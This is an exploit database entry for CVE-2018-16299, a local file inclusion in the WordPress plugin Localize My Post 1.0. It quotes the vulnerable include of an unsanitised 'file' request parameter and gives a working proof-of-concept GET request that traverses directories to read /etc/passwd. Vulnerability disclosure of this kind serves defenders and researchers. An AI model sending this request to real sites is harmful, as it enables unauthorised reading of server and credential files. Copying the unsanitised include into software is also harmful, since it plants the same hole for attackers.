WordPress Plugin Localize My Post 1.0 - Local File Inclusion

Author: Manuel García Cárdenas
type: webapps
platform: php
port: 80.0
date_added: 2018-09-19  
date_updated: 2018-09-25  
verified: 0  
codes: CVE-2018-16299  
tags: File Inclusion (LFI/RFI)  
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comlocalize-my-post.1.0.zip  

raw file: 45439.txt  

# Exploit Title: WordPress Plugin Localize My Post 1.0 - Local File Inclusion
# Author: Manuel Garcia Cardenas
# Date: 2018-09-19
# Software link: https://es.wordpress.org/plugins/localize-my-post/
# CVE: 2018-16299

# DESCRIPTION
# This bug was found in the file: /localize-my-post/ajax/include.php
# include($_REQUEST['file']);
# The parameter "file" it is not sanitized allowing include local files
# To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application.

# Local File Inclusion POC:

GET /wordpress/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd